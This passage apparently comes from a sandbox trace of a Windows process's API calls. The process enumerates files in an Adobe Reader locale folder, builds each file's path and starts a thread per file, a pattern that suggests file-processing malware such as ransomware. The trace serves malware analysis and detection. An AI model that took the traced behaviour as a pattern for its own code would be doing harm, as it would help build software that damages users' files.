lpStartAddress=0x2b4a8a0, lpParameter=0x202b1a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528 [0244.790] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SUO", cAlternateFileName="")) returned 1 [0244.790] wcscmp (_String1="IA32.SUO", _String2=".") returned 1 [0244.790] wcscmp (_String1="IA32.SUO", _String2="..") returned 1 [0244.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431c96c0 [0244.790] wcscpy (in: _Dest=0x431c96c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.790] wcscat (in: _Dest=0x431c96c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.790] wcscat (in: _Dest=0x431c96c0, _Source="IA32.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" [0244.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c96c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d4 [0244.791] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SUO", cAlternateFileName="MAKEAC~1.SUO")) returned 1 [0244.791] wcscmp (_String1="makeaccessible.SUO", _String2=".") returned 1 [0244.791] wcscmp (_String1="makeaccessible.SUO", _String2="..") returned 1 [0244.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43131e80 [0244.791] wcscpy (in: _Dest=0x43131e80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.791] wcscat (in: _Dest=0x43131e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.791] wcscat (in: _Dest=0x43131e80, _Source="makeaccessible.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO" [0244.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0244.792] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SUO", cAlternateFileName="MULTIM~1.SUO")) returned 1 [0244.792] wcscmp (_String1="Multimedia.SUO", _String2=".") returned 1 [0244.792] wcscmp (_String1="Multimedia.SUO", _String2="..") returned 1 [0244.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c9120 [0244.792] wcscpy (in: _Dest=0x431c9120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.792] wcscat (in: _Dest=0x431c9120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.792] wcscat (in: _Dest=0x431c9120, _Source="Multimedia.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" [0244.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0244.793] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SUO", cAlternateFileName="")) returned 1 [0244.793] wcscmp (_String1="pddom.SUO", _String2=".") returned 1 [0244.793] wcscmp (_String1="pddom.SUO", _String2="..") returned 1 [0244.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9580 [0244.793] wcscpy (in: _Dest=0x431c9580, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.793] wcscat (in: _Dest=0x431c9580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.793] wcscat (in: _Dest=0x431c9580, _Source="pddom.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO" [0244.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0244.794] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SUO", cAlternateFileName="")) returned 1 [0244.794] wcscmp (_String1="PPKLITE.SUO", _String2=".") returned 1 [0244.794] wcscmp (_String1="PPKLITE.SUO", _String2="..") returned 1 [0244.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c8f40 [0244.794] wcscpy (in: _Dest=0x431c8f40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.795] wcscat (in: _Dest=0x431c8f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.795] wcscat (in: _Dest=0x431c8f40, _Source="PPKLITE.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO" [0244.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32b4 [0244.795] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SUO", cAlternateFileName="")) returned 1 [0244.795] wcscmp (_String1="RdLang32.SUO", _String2=".") returned 1 [0244.795] wcscmp (_String1="RdLang32.SUO", _String2="..") returned 1 [0244.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c9080 [0244.796] wcscpy (in: _Dest=0x431c9080, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.796] wcscat (in: _Dest=0x431c9080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.796] wcscat (in: _Dest=0x431c9080, _Source="RdLang32.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO" [0244.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce0 [0244.796] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SUO", cAlternateFileName="READOU~1.SUO")) returned 1 [0244.796] wcscmp (_String1="ReadOutLoud.SUO", _String2=".") returned 1 [0244.796] wcscmp (_String1="ReadOutLoud.SUO", _String2="..") returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43130eb0 [0244.797] wcscpy (in: _Dest=0x43130eb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.797] wcscat (in: _Dest=0x43130eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.797] wcscat (in: _Dest=0x43130eb0, _Source="ReadOutLoud.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\ReadOutLoud.SUO" [0244.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43130eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de8 [0244.798] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0244.798] wcscmp (_String1="reflow.SUO", _String2=".") returned 1 [0244.798] wcscmp (_String1="reflow.SUO", _String2="..") returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c8fe0 [0244.798] wcscpy (in: _Dest=0x431c8fe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.798] wcscat (in: _Dest=0x431c8fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.798] wcscat (in: _Dest=0x431c8fe0, _Source="reflow.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO" [0244.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea0 [0244.799] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SUO", cAlternateFileName="SAVEAS~1.SUO")) returned 1 [0244.799] wcscmp (_String1="SaveAsRTF.SUO", _String2=".") returned 1 [0244.799] wcscmp (_String1="SaveAsRTF.SUO", _String2="..") returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c9440 [0244.799] wcscpy (in: _Dest=0x431c9440, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.799] wcscat (in: _Dest=0x431c9440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.799] wcscat (in: _Dest=0x431c9440, _Source="SaveAsRTF.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO" [0244.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258 [0244.800] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SUO", cAlternateFileName="")) returned 1 [0244.800] wcscmp (_String1="Search.SUO", _String2=".") returned 1 [0244.800] wcscmp (_String1="Search.SUO", _String2="..") returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c8860 [0244.800] wcscpy (in: _Dest=0x431c8860, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.800] wcscat (in: _Dest=0x431c8860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.800] wcscat (in: _Dest=0x431c8860, _Source="Search.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Search.SUO" [0244.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174 [0244.801] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SUO", cAlternateFileName="")) returned 1 [0244.801] wcscmp (_String1="SendMail.SUO", _String2=".") returned 1 [0244.801] wcscmp (_String1="SendMail.SUO", _String2="..") returned 1 [0244.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c9940 [0244.802] wcscpy (in: _Dest=0x431c9940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.802] wcscat (in: _Dest=0x431c9940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.802] wcscat (in: _Dest=0x431c9940, _Source="SendMail.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" [0244.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0244.802] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0244.802] wcscmp (_String1="Services", _String2=".") returned 1 [0244.802] wcscmp (_String1="Services", _String2="..") returned 1 [0244.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431c9a80 [0244.803] wcscpy (in: _Dest=0x431c9a80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.803] wcscat (in: _Dest=0x431c9a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.803] wcscat (in: _Dest=0x431c9a80, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" [0244.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431c9a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0244.808] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0244.808] wcscmp (_String1="Spelling.SUO", _String2=".") returned 1 [0244.808] wcscmp (_String1="Spelling.SUO", _String2="..") returned 1 [0244.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c9f80 [0244.808] wcscpy (in: _Dest=0x431c9f80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.808] wcscat (in: _Dest=0x431c9f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.808] wcscat (in: _Dest=0x431c9f80, _Source="Spelling.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO" [0244.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0244.809] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SUO", cAlternateFileName="")) returned 1 [0244.809] wcscmp (_String1="updater.SUO", _String2=".") returned 1 [0244.809] wcscmp (_String1="updater.SUO", _String2="..") returned 1 [0244.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c9c60 [0244.809] wcscpy (in: _Dest=0x431c9c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI" [0244.809] wcscat (in: _Dest=0x431c9c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\" [0244.809] wcscat (in: _Dest=0x431c9c60, _Source="updater.SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO" [0244.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0244.810] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 